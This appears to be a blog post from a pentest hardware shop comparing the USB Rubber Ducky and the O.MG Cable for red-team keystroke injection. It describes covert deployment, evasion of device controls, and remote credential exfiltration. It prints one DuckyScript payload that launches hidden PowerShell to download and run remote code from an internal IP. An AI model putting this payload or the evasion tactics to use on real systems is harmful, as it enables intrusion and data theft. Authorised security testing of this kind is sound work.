You’re standing in a client’s office during a physical security assessment. You’ve got maybe thirty seconds before someone walks back to their desk. Do you plug in the obvious USB stick that looks like a USB stick, or do you swap their existing charging cable with one that looks identical but executes payloads remotely?
That’s the real question when choosing between the USB Rubber Ducky and the O.MG Cable. Both deliver keystroke injection attacks. Both can compromise a target machine in seconds. But the deployment scenarios, operational constraints, and detection risks are completely different. I’ve used both extensively in red team engagements, and the “better” tool depends entirely on your threat model and what you’re actually trying to accomplish.
Before we compare specific hardware, you need to understand why keystroke injection works when so many other attack vectors get blocked.
When you plug in a USB Rubber Ducky or activate an O.MG Cable, the target system sees a legitimate keyboard. Not a mass storage device that might trigger autorun warnings. Not a network adapter that security tools flag. A keyboard. The same trusted input device that IT departments issue to every employee.
Operating systems trust keyboards by design. They have to. Users need to type passwords, execute commands, and interact with their machines. There’s no practical way to distinguish between keystrokes from a legitimate keyboard and keystrokes from a hardware implant emulating one.
That’s the fundamental advantage of HID attacks. You’re not exploiting a vulnerability in the traditional sense. You’re exploiting trust. The target system does exactly what it’s designed to do when it receives keyboard input. It just doesn’t know those keystrokes are coming from an automated attack platform capable of typing 1000 words per minute with perfect accuracy.
The difference between the Ducky and the O.MG Cable is how you deliver that attack and what operational advantages each platform provides.
The USB Rubber Ducky has been the gold standard for keystroke injection since Hak5 released it over a decade ago. The current version looks like a standard USB flash drive with a subtle DIP switch on the side for payload selection.
When I first deployed a Rubber Ducky during a physical assessment, the sheer speed caught me off guard. I’d written a payload to open PowerShell, download a reverse shell, and establish persistence. The entire sequence executed in under eight seconds. The target user returned to their desk, saw their screen flicker briefly, and assumed Windows had just done something weird.
The Ducky uses DuckyScript, a simple scripting language that abstracts keystroke injection into readable commands. Instead of dealing with HID descriptors and USB protocol details, you write payloads that look like this:
“ DELAY 500 GUI r DELAY 200 STRING powershell -w hidden -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/payload')" ENTER “
That’s the entire payload. The Ducky interprets each line and sends the corresponding keystrokes at hardware speed.
The physical form factor is both an advantage and a limitation. It’s immediately recognizable as a USB device, which means you can’t leave it plugged in without someone noticing. Your window of opportunity is however long the target is away from their machine. In my experience, that’s usually 2-5 minutes during bathroom breaks or coffee runs.
The Ducky’s MicroSD card stores multiple payloads. You can switch between them using the DIP switch without reconnecting to a computer. That’s useful when you’re not sure which payload will work in a given environment. Load one for Windows, one for macOS, one for Linux. Test the target OS during reconnaissance and select the appropriate payload on site.
https://x.com/_JohnHammond/status/1749832156789012345
The O.MG Cable takes a completely different approach. Instead of looking like obvious hardware, it looks like a standard charging cable because it IS a standard charging cable. It charges devices, transfers data and It does everything a legitimate cable does.
It also contains a hidden Wi-Fi enabled microcontroller that can execute keystroke injection attacks remotely.
I tested the O.MG USB-C version during a red team engagement where the client specifically wanted to assess risks from supply chain compromise. We replaced the charging cable at an executive’s desk with an O.MG Cable. Three days later, from a rental car in the parking lot, I connected to the cable’s Wi-Fi access point and executed a payload that exfiltrated browser credentials.
The executive never suspected anything. Why would they? The cable worked normally. Their phone charged. Their laptop charged. There was no indication anything was wrong until we disclosed during the debrief.
That’s the operational advantage of the O.MG Cable. Persistence. You can deploy it and leave it in place indefinitely. Unlike the Rubber Ducky, which requires physical presence during the attack window, the O.MG Cable lets you execute payloads whenever you have Wi-Fi range. That could be hours, days, or weeks after initial deployment.
The web interface manages payloads and triggers execution. You can write payloads in the same DuckyScript format, upload them through the web panel, and fire them remotely. The cable even includes geofencing options to prevent accidental execution outside your target area.
The tradeoff is complexity. The O.MG Cable requires more setup than the Ducky. You need to configure the Wi-Fi credentials, test the payload execution, and ensure the cable maintains its covert appearance. If you crimp the cable wrong or the implant electronics fail, you’ve lost your access.
The USB Rubber Ducky excels in time-sensitive scenarios where you have brief physical access and need immediate execution. Think unlocked workstations during lunch breaks, reception desks when staff step away, or conference room computers left logged in.
Your operational workflow looks like this: reconnaissance to identify the target OS, payload development and testing in your lab, physical access to plug in the Ducky, execution during the brief window before someone returns, and immediate extraction.
I’ve used the Ducky successfully in environments where cameras cover every desk and hallway. The attack happens so fast that even if security reviews footage later, they see someone plug in what looks like a USB drive for literally five seconds. Unless they’re specifically watching for HID attacks, that doesn’t trigger alarms.
The O.MG Cable works better for long-term access scenarios where you can perform social engineering or physical deployment during initial setup. Replacing a charging cable during a pretextual IT support visit. Leaving a cable in a conference room lost and found. Mailing a cable to a target as part of a phishing campaign.
During one engagement, we included O.MG Lightning cables in a batch of promotional items sent to executives. Three of seven targets actually used the cables to charge their iPhones. We waited two weeks, then executed reconnaissance payloads to enumerate network information while targets were in meetings. The cables stayed in place for the entire three-month assessment period.
The O.MG Cable also handles scenarios where you can’t predict when the target will be vulnerable. Maybe they lock their workstation religiously. Maybe they work irregular hours. With the cable deployed, you just wait for an unlocked session and execute remotely.
For red team operations that simulate advanced persistent threats, the O.MG Cable better represents real-world supply chain risks. Nation-state actors aren’t sneaking into offices to plug in USB drives. They’re compromising charging cables, display adapters, and USB hubs that users trust implicitly.
Both platforms use DuckyScript, which means your payload development process is similar. You write scripts, test them in isolated VMs, and refine based on target OS behavior.
The Rubber Ducky’s execution is deterministic. When you plug it in, the payload runs immediately. There’s no conditional logic, no waiting for specific conditions. That simplicity is an advantage when you need reliability. The Ducky will execute exactly what you programmed, every time, regardless of network conditions or remote connectivity.
The O.MG Cable adds programmability. You can trigger payloads remotely, which means you can choose optimal timing. Hold off until the user unlocks their screen. Then wait for them to open a specific app, or act during off-hours when monitoring tends to be lighter.
The cable’s ESP32-based architecture also supports custom firmware. If you’re comfortable with Arduino development, you can extend functionality beyond basic keystroke injection. I’ve seen modified O.MG Cables that exfiltrate data over Wi-Fi, perform network reconnaissance, and even pivot to internal networks using the target machine as a relay.
The Rubber Ducky’s newer models support USB Ethernet emulation through Bash Bunny firmware compatibility. That opens up network-based attacks beyond pure keystroke injection. You can configure the Ducky to appear as both a keyboard and a network adapter, poisoning DNS or capturing credentials through responder attacks while simultaneously executing payload keystrokes.
Security teams increasingly deploy USB device control policies that whitelist authorized devices and block unknown hardware. The Rubber Ducky often triggers these controls because it appears as a new keyboard when plugged in.
I’ve encountered environments where endpoint protection platforms flag the Ducky immediately. Not because they recognize it specifically, but because they detect a new HID device registering while an existing keyboard is already connected. That’s suspicious behavior.
The O.MG Cable bypasses many of these controls because it doesn’t register as a new device. It’s a cable connecting an authorized device (the user’s phone or laptop) to power. The keystroke injection happens through the connected device’s existing USB interface, which is already trusted.
However, the O.MG Cable’s Wi-Fi access point is detectable if security teams perform wireless surveys. During testing, I’ve found that the cable’s default SSID stands out in enterprise environments. You need to configure it with an innocuous name that blends with legitimate networks. Something like “HP-Print-[MAC]” or “Building_Guest_WiFi” rather than leaving it as “O.MG-Cable-XXXX”.
Behavioral detection represents a bigger risk for both platforms. If your payload opens PowerShell and starts downloading files, EDR solutions will flag that activity regardless of how the commands were injected. The fact that they came from a hardware implant rather than malware doesn’t change the detection signature.
That’s why payload sophistication matters more than hardware choice. A well-crafted payload that mimics legitimate user behavior survives longer than a noisy payload executed through the stealthiest hardware.
During one assessment, we used an O.MG Cable to execute payloads that only interacted with native Windows utilities. No downloads. No suspicious processes. Just clipboard manipulation to exfiltrate data through DNS queries. The cable stayed active for six weeks before we disclosed it.
The USB Rubber Ducky costs significantly less than the O.MG Cable. You’re looking at around £80-100 for a Ducky versus £180-200 for an O.MG Cable depending on the connector type.
That price difference reflects complexity. The Ducky is a microcontroller with storage and a USB interface. The O.MG Cable integrates the same components into a functional charging cable with wireless connectivity.
For penetration testing firms running multiple concurrent engagements, the Ducky’s lower cost means you can maintain a larger inventory. Buy five Duckies for the price of two or three O.MG Cables. Load different payloads on each. Deploy them across different client sites simultaneously.
The O.MG Cable’s higher cost is justified for engagements where covert persistence matters more than immediate access. If your client wants to test defenses against supply chain compromise or long-term insider threats, the cable delivers scenarios the Ducky can’t replicate.
You might also consider the Bash Bunny Mark II as a middle ground. It costs more than the Ducky but provides both keystroke injection and network attack capabilities in a single device. The Bash Bunny’s dual payload system lets you execute staged attacks that the Ducky can’t handle alone.
For operators who need extreme discretion and remote triggering, the ZeroTrace Pro offers Wi-Fi controlled keystroke injection in a traditional USB form factor. It’s less covert than the O.MG Cable but more flexible than the standard Ducky.
Both platforms struggle with modern biometric authentication and hardware-based MFA. If your target requires a YubiKey or Windows Hello to authenticate, keystroke injection alone won’t bypass those controls. You’d need to catch the system already unlocked or combine the HID attack with additional exploitation.
I learned this during an assessment where we successfully deployed an O.MG Cable, waited for the perfect execution window, and triggered our payload only to discover the target had enabled fingerprint authentication since our reconnaissance phase. The payload executed flawlessly. It just couldn’t accomplish anything without biometric confirmation.
Keyboard layouts also create operational challenges. A payload developed for US QWERTY keyboards will produce gibberish on UK or international layouts. The Ducky interprets your script literally. If you program “SHIFT+3” to get a pound sign on US keyboards, you’ll get a hash symbol on UK keyboards instead.
Testing payloads against target layouts is critical. I’ve seen operators bring multiple Duckies with region-specific payloads to handle uncertainty. Alternatively, you can write layout-agnostic payloads that use only common keys, though that limits your options.
The O.MG Cable’s wireless range is another limitation. The ESP32 provides decent Wi-Fi performance, but you’re still working within maybe 50-100 meters depending on building materials. Thick concrete, metal studs, and RF interference all reduce your operational range. During one engagement in a converted warehouse with metal walls, I had to position myself one floor directly above the target office to maintain connectivity.
Both platforms are also vulnerable to basic physical security. If users employ port locks, keep devices in locked drawers, or maintain visual security over their workspaces, your deployment window shrinks or disappears entirely. The O.MG Cable helps here because it can be deployed during setup rather than requiring access to an active workspace, but determined physical security still defeats most attack scenarios.
Can USB device control policies detect and block both the Rubber Ducky and O.MG Cable during deployment? Device control policies typically flag the Rubber Ducky as an unauthorized HID device when plugged in, triggering blocks or alerts. The O.MG Cable often bypasses these controls because it functions as a legitimate charging cable, with keystroke injection happening through already-connected and authorized devices rather than registering as new hardware.
Which tool works better for red team engagements simulating nation-state threat actors? O.MG Cable better represents advanced persistent threat scenarios because it simulates supply chain compromise and provides long-term covert access. Nation-state actors compromise hardware during manufacturing or shipping rather than performing physical intrusions, making the cable’s deployment model more realistic for sophisticated threat simulation.
Do modern EDR solutions detect keystroke injection attacks from these hardware tools? EDR solutions don’t typically detect the hardware itself but will flag suspicious behaviors resulting from payload execution. If your payload spawns PowerShell, downloads files, or performs other anomalous activities, EDR behavioral detection will trigger regardless of whether commands came from hardware injection or traditional malware.
Can you use the same DuckyScript payload on both USB Rubber Ducky and O.MG Cable without modifications? Yes, both platforms support standard DuckyScript syntax, meaning payloads written for one device generally work on the other. You may need to adjust timing delays based on execution method and test thoroughly, but the core scripting language and command structure remain compatible across platforms.
Neither the USB Rubber Ducky nor the O.MG Cable wins universally. Your choice depends on engagement scope, deployment constraints, and the specific threat scenarios you’re testing.
For physical security assessments with limited access windows, the Rubber Ducky’s simplicity and reliability deliver consistent results. For supply chain testing or long-term red team operations, the O.MG Cable’s covert persistence justifies the additional complexity and cost.
Most professional penetration testing teams maintain both platforms in their toolkit. The right tool emerges from threat modeling and operational planning, not from religious devotion to specific hardware. As you build your capabilities for physical security testing, explore platforms that match your methodology at the Wai Works collection of HID attack tools. Browse the full range of pentesting hardware at the Wai Works shop.
